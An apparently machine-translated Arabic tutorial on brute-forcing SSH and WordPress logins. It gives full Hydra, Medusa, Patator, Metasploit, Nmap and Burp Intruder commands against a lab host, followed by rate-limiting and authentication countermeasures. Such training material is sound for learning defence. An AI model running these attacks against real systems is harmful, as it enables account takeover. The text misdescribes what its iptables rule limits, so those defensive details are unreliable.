
القوة الغاشمة (هجوم القوة الغاشمة) هي طريقة لحل المشكلات الرياضية ، وتعقيدها يعتمد على عدد الحلول الممكنة. عادةً ما يستخدم مصطلح القوة الغاشمة نفسها في سياق هجمات القراصنة عندما يحاول المهاجم التقاط اسم مستخدم / كلمة مرور لحساب أو خدمة.
النظر في الأدوات التي يمكنك استخدامها لتنفيذ هجمات القوة الغاشمة على خدمات SSH و WEB المتاحة في Kali Linux (Patator ، Medusa ، Hydra ، Metasploit) ، وكذلك BurpSuite.
جميع المواد المقدمة بموجب هذه المادة مخصصة للاستخدام التعليمي فقط. يحظر استخدام المواد بطريقة غير قانونية وغير قانونية.
القوة الغاشمة سه
على سبيل المثال ، خذ آلة الاختبار 192.168.60.50 وحاول العثور على كلمة مرور اختبار المستخدم بواسطة SSH. سوف نستخدم كلمات مرور شائعة من قاموس rockyou.txt القياسي.
باتورلتحديد كلمة مرور باستخدام Patator ، استخدم الأمر:
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'
حيث:
ssh_login - الوحدة النمطية المطلوبة
المضيف هو هدفنا
المستخدم - تسجيل دخول
المستخدم الذي يتم تحديد كلمة مرور أو ملف به عمليات تسجيل دخول للاختيار المتعدد
كلمة المرور - القاموس مع كلمات المرور
-x ignore: mesg = 'فشل المصادقة' - لا يعرض الأمر سطرًا بهذه الرسالة. يتم تحديد المعلمة تصفية بشكل فردي.

هيدرالتحديد كلمة مرور باستخدام Hydra ، قم بتنفيذ الأمر:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
حيث:
-V - إظهار زوج من اسم المستخدم + كلمة المرور أثناء التكرار
-f - توقف بمجرد العثور على كلمة المرور لتسجيل الدخول المحدد
-P - المسار إلى القاموس مع كلمات المرور
ssh: //192.168.60.50 - إشارة الخدمة وعنوان IP للضحية

ميدوسالتحديد كلمة مرور باستخدام Medusa ، قم بتنفيذ الأمر:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
حيث:
-h - عنوان IP للضحية
يو - تسجيل الدخول
-P - مسار القاموس
-M - اختيار وحدة
-f - توقف بعد العثور على اسم مستخدم / كلمة مرور صالح
-v - ضبط عرض الرسائل على الشاشة أثناء عملية الاختيار

ميتاسبلويتسوف نبحث عن أداة لتنفيذ هجمات القوة الغاشمة على SSH:
search ssh_login
وحصلت على الجواب:

نستخدم الوحدة:
use auxiliary/scanner/ssh/ssh_login
لعرض المعلمات الضرورية ، استخدم أمر
show options
. بالنسبة لنا هو:
rhosts - عنوان IP للضحية
منفذ الميناء
اسم المستخدم - تسجيل الدخول SSH
userpass_file - المسار إلى القاموس
stop_on_success - توقف بمجرد وجود اسم مستخدم / كلمة مرور
المواضيع - عدد المواضيع

يتم الإشارة إلى المعلمات الضرورية من خلال الأمر "
set ".
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22
بعد تحديد المعلمات اللازمة ،
نكتب الأمر "
تشغيل " وننتظر.

رد فعل
الحد من عدد الاتصالات المنشأة باستخدام جدار الحماية. مثال على إعداد iptables:
-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset
.
ستقيد هذه القاعدة الوصول إلى SSH لكل عنوان IP إلى اتصال واحد في الثانية ، مما يعقد عملية البحث إلى حد كبير. أيضًا ، يمكن أن يكون الحل الفعال هو استخدام المصادقة ثنائية العوامل (على سبيل المثال ، استخدام eToken) أو المصادقة باستخدام زوج مفاتيح ، وكذلك استخدام قوائم ACL المستندة إلى عناوين IP.
القوة الغاشمة وورد
دعونا نلقي نظرة على مثال آخر - اختيار كلمة مرور لإطار تفويض نموذج الويب.

على سبيل المثال ، سوف نختار كلمة المرور من حساب admin Wordpress.
Burpsuiteأولاً ، نحتاج إلى فهم كيفية حدوث عملية التفويض. لهذا سوف نستخدم BurpSuite. نحن بحاجة إلى محاولة تسجيل الدخول باستخدام أي كلمة مرور وتسجيل الدخول لمعرفة الطلبات التي تذهب من خلال BurpSuite.

حسنًا ، لقد رأينا طلب POST للحصول على إذن ، وسنعمل معه.
يشير BODY إلى معلومات تسجيل الدخول وكلمة المرور التي تم التحقق منها ، مما يعني أنه يمكننا محاولة استبدال القيم التي نحتاجها بمفردنا.
نقوم بتمرير هذا الطلب إلى Intruder وهناك نختار المعلمات اللازمة للهجوم. في عنصر Payload Positions ، نترك نوع الهجوم باعتباره قناص ، ولكن للتحقق نترك فقط المعلمة pwd. وبالتالي ، فإن الهجوم سوف يغير هذه المعلمة فقط.

نقوم بتحميل القاموس اللازم وبدء الهجوم.

من سلوك تطبيق الويب ، نرى أن كلمة المرور غير الصحيحة تُرجع رمز الاستجابة 200. بعد تعداد القاموس ، نرى أن إحدى كلمات المرور أعطت الإجابة مع الكود 302 - إنها صحيحة.

تستغرق طريقة القوة الغاشمة هذه وقتًا أطول من استخدام Patator ، Hydra ، Medusa ، إلخ. على الرغم من أننا اتخذنا قاموسًا صغيرًا ، تكررت BurpSuite على القاموس لمدة 40 دقيقة تقريبًا.
هيدرادعونا نحاول العثور على كلمة المرور باستخدام هيدرا.
كما نعلم بالفعل ، إذا كان التفويض غير صحيح ، فسيتم إرجاع الرمز 200 ، وإذا نجح ، فسيكون الرمز 302. دعونا نحاول استخدام هذه المعلومات.
للبدء ، استخدم الأمر:
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"
هنا نشير المعلمات المطلوبة:
-l - اسم المستخدم
-P - القاموس مع كلمات المرور
-t - عدد المواضيع
http-post-form - نوع النموذج ، لدينا POST.
/wp-login.php هو عنوان URL لصفحة التفويض
^ USER ^ - يوضح مكان استبدال اسم المستخدم
^ PASS ^ - يُظهر مكان استبدال كلمة المرور من القاموس
S = 302 - إشارة إلى الإجابة التي تعتمد على Hydra. في حالتنا ، الجواب هو 302 بعد الحصول على إذن ناجح.

باتوركما نعلم بالفعل ، في حالة فشل التفويض ، يتم إرجاع الرمز 200 ، وإذا نجح ، فسيتم إرجاع 302. سوف نستخدم نفس المبدأ كما في Hydra:
يتم تنفيذ الإطلاق بواسطة الأمر:
patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz - وحدة
للهجوم المتشدد القوة HTTP
عنوان url - عنوان الصفحة بترخيص
FILE0 - المسار إلى القاموس مع كلمات المرور
نص - المعلومات التي يتم إرسالها في طلب POST أثناء التفويض
-t - عدد المواضيع
-x - في هذه الحالة ، حددنا الأمر بعدم عرض سطور الرسائل التي تحتوي على معلمة بالكود 200
accept_cookie - احفظ معلمة ملف تعريف الارتباط
وقم بتمريرها إلى الطلب التالي
نتيجة لذلك ، تمكنا من العثور على كلمة مرور.

Nmapتسمح الأداة المساعدة Nmap ، من بين أشياء أخرى ، باختيار كلمات المرور لنماذج ترخيص الويب ، إذا كنت تستخدم النص
http-Wordpress-brute مع الوسائط المقابلة:
- سيناريو - الحجج - إضافة الحجج
المستخدم أو
userdb - تسجيل الدخول أو ملف مع تسجيلات الدخول
تمرير أو
passdb - تحديد كلمة مرور أو قاموس
موضوع - عدد المواضيع
أولاً = صواب - عرض النتيجة بعد أول كلمة مرور صحيحة
nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

رد فعل
قم بتقييد (تعقيد) هجمات القوة الغاشمة على تطبيقات الويب باستخدام iptables (على غرار SSH) و nginx. للقيام بذلك ، قم بإنشاء منطقة حدود:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...
واستخدامها:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}
ستحدد هذه الإعدادات عدد الطلبات من عنوان IP واحد إلى 40 في الثانية.
لتعقيد مهمة التعداد ، يمكنك استخدام الطرق التالية:
- استخدام جدار الحماية والبرامج الأخرى للحد من عدد المكالمات إلى الخدمة المحمية. يمكنك أن تقرأ عن كيفية استخدامنا للتعلم الآلي للكشف عن مثل هذه الهجمات (بما في ذلك الهجمات الموزعة) في
مقال .
- استخدام الأدوات التي تمنع التحقق السريع من صحة المفتاح (على سبيل المثال ، كلمة التحقق).
الخاتمة
في هذا المقال ، قمنا بفحص بعض الأدوات الشائعة بشكل سطحي. يمكنك تقليل خطر تخمين كلمة المرور باتباع الإرشادات التالية:
- استخدم كلمات مرور مقاومة لكلمة المرور ؛
- لا تنشئ كلمات مرور باستخدام المعلومات الشخصية ، على سبيل المثال: تاريخ الميلاد أو الاسم + تاريخ الميلاد أو الهاتف المحمول ؛
- تغيير كلمة المرور بانتظام ؛
- استخدم كلمات مرور فريدة على جميع الحسابات.
قليل من الناس يتبعون هذه التوصيات (وكذلك توصيات لتطوير شبكة آمنة) ، لذلك تحتاج إلى استخدام حلول البرمجيات المختلفة التي تسمح لك:
- تقييد الاتصال حسب عنوان IP ، أو إذا كان ذلك غير ممكن ، فقم بتقييد عدد الاتصالات المتزامنة بالخدمة (باستخدام iptables و nginx وغيرها) ؛
- استخدام المصادقة الثنائية ؛
- كشف ومنع مثل هذه الهجمات باستخدام SIEM أو
WAF أو غيرها (على سبيل المثال ، fail2ban).